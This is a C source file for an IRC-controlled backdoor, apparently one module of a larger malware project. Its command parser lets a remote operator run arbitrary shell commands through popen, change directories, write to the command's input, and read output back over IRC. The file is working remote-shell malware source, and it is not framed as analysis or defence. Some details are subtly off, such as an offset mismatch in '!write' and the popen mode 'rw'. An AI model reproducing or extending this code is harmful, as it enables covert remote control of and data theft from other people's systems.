backdoor/src/backdoor.c

#include <unistd.h>
#include "backdoor.h"
#include "irc.h"

static FILE *fp;

void backdoor_offline(void) {
	sleep(60);
}

void send_info(IRCC_client *client, const char *buf) {
	char *nick = strdup(client->irc_nick);
	if (nick == NULL)
		return;

	IRCC_send(client, nick, buf);
	free(nick);
}

void parse_cmd(IRCC_client *client) {
	if (!strncmp(client->irc_msg, "!exit", 5)) {
		IRCC_close(client);
		exit(0);
	}

	else if (!strncmp(client->irc_msg, "!cd", 3))
		chdir(client->irc_msg + 4);

	/* Shell */
	else if (!strncmp(client->irc_msg, "!exec", 5)) {
		if (fp != NULL)
			pclose(fp);

		fp = popen(client->irc_msg + 5, "rw");
	}

	else if (!strncmp(client->irc_msg, "!print", 6)) {
		if (fp == NULL)
			return;

		char buf[COMMON_BUF_SIZE + 1];
		if (fgets(buf, sizeof(buf), fp) == NULL) {
			pclose(fp);
			fp = NULL;
			return;
		}

		send_info(client, buf);
	}

	else if (!strncmp(client->irc_msg, "!write", 6)) {
		if (fp == NULL)
			return;

		fputs(client->irc_msg + 5, fp);
	}

	else if (!strncmp(client->irc_msg, "!close", 6)) {
		if (fp == NULL)
			return;

		pclose(fp);
		fp = NULL;
	}
}